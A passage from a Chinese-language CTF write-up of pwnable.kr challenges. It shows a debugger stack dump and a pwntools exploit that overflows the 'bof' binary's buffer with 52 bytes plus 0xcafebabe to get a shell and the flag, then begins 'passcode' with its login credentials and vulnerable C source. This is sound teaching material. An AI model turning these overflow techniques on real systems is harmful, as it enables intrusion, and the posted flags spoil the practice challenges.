</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">00:0000│ esp 0xffffd4e0 —▸ 0xffffd4fc ◂— &#39;AAAA&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">01:0004│-044 0xffffd4e4 ◂— 0xffffffff
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">02:0008│-040 0xffffd4e8 —▸ 0x56555034 ◂— 6
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">03:000c│-03c 0xffffd4ec —▸ 0x5655620a (func+13) ◂— add ebx, 0x2df6
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">04:0010│-038 0xffffd4f0 —▸ 0xf7ffd608 (_rtld_global+1512) —▸ 0xf7fc6000 ◂— 0x464c457f
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">05:0014│-034 0xffffd4f4 ◂— 0x20 /* &#39; &#39; */
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">06:0018│-030 0xffffd4f8 ◂— 0
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">07:001c│ eax 0xffffd4fc ◂— &#39;AAAA&#39;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">08:0020│-028 0xffffd500 ◂— 0
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">09:0024│-024 0xffffd504 ◂— 0
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">0a:0028│-020 0xffffd508 ◂— 0x1000000
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">0b:002c│-01c 0xffffd50c ◂— 0xb /* &#39;\x0b&#39; */
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">0c:0030│-018 0xffffd510 —▸ 0xf7fc4540 (__kernel_vsyscall) ◂— push ecx
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">0d:0034│-014 0xffffd514 ◂— 0
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">0e:0038│-010 0xffffd518 —▸ 0xf7d954be ◂— &#39;_dl_audit_preinit&#39;
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">0f:003c│-00c 0xffffd51c ◂— 0xc6a3900
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">10:0040│-008 0xffffd520 —▸ 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">11:0044│-004 0xffffd524 —▸ 0xffffd614 —▸ 0xffffd75a ◂— &#39;/home/bof/bof&#39;
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">12:0048│ ebp 0xffffd528 —▸ 0xffffd548 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— ...
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">13:004c│+004 0xffffd52c —▸ 0x565562c5 (main+40) ◂— add esp, 0x10
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">14:0050│+008 0xffffd530 ◂— 0xdeadbeef
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">15:0054│+00c 0xffffd534 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">16:0058│+010 0xffffd538 —▸ 0xf7fbeb30 —▸ 0xf7d97cc6 ◂— &#39;GLIBC_PRIVATE&#39;
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">17:005c│+014 0xffffd53c —▸ 0x565562b3 (main+22) ◂— add eax, 0x2d4d
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>距离是52，填入52个垃圾字符，再写入0xcafebabe就行，这题还有一点，我在调试的时候，直接执行是输出一句&quot;overflow me : &ldquo;，但是远程时，是先让我输入：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">bof@ubuntu:~$ nc 0 9000
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">ls
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">overflow me : Nah..
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">bof@ubuntu:~$ ./bof
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">overflow me : ls
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">Nah..
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>所以脚本里面要直接发送payload：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">bof@ubuntu:~$ python3
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; from pwn import *
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; <span class="nv">io</span> <span class="o">=</span> remote<span class="o">(</span><span class="s1">&#39;0.0.0.0&#39;</span>,9000<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">[x] Opening connection to 0.0.0.0 on port 9000
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">[x] Opening connection to 0.0.0.0 on port 9000: Trying 0.0.0.0
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">[+] Opening connection to 0.0.0.0 on port 9000: Done
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; <span class="nv">payload</span> <span class="o">=</span> b<span class="s1">&#39;K&#39;</span>*52 + p32<span class="o">(</span>0xcafebabe<span class="o">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; io.sendline<span class="o">(</span>payload<span class="o">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="gp">&gt;</span>&gt;&gt; io.interactive<span class="o">()</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">[*] Switching to interactive mode
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">ls
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">bof
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">bof.c
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">flag
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">log
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">super.pl
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">whoami
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">bof_pwn
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">cat flag
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">Daddy_I_just_pwned_a_buff3r!
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag：<code>Daddy_I_just_pwned_a_buff3r!</code></p>
<h3 id="passcode">passcode<a class="anchor" href="#passcode">#</a></h3>
<blockquote>
<p>Mommy told me to make a passcode based login system.
My first trial C implementation compiled without any error!
Well, there were some compiler warnings, but who cares about that?</p>
<p>ssh <a
  href="mailto:passcode@pwnable.kr"
  >passcode@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">passcode@ubuntu:~$ tree
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">.
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">├── a
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">│   └── a.out
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">├── flag
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">├── passcode
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">└── passcode.c
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">9</span><span class="cl"><span class="go">1 directory, 4 files
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kt">void</span> <span class="nf">login</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="kt">int</span> <span class="n">passcode1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="kt">int</span> <span class="n">passcode2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;enter passcode1 : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">passcode1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="nf">fflush</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">		<span class="c1">// 说32比特可以暴破，8位数字
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="c1">// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;enter passcode2 : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">passcode2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;checking...</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    	<span class="c1">// 比对两个密码的预定值
</span></span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">passcode1</span><span class="o">==</span><span class="mi">123456</span> <span class="o">&amp;&amp;</span> <span class="n">passcode2</span><span class="o">==</span><span class="mi">13371337</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Login OK!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">                <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">                <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Login Failed!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="kt">void</span> <span class="nf">welcome</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;enter you name : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%100s&#34;</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Welcome %s!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Toddler&#39;s Secure Login System 1.1 beta.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="nf">welcome</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">        <span class="nf">login</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="c1">// something after login...
</span></span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Now I can safely trust you that you have credential :)</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
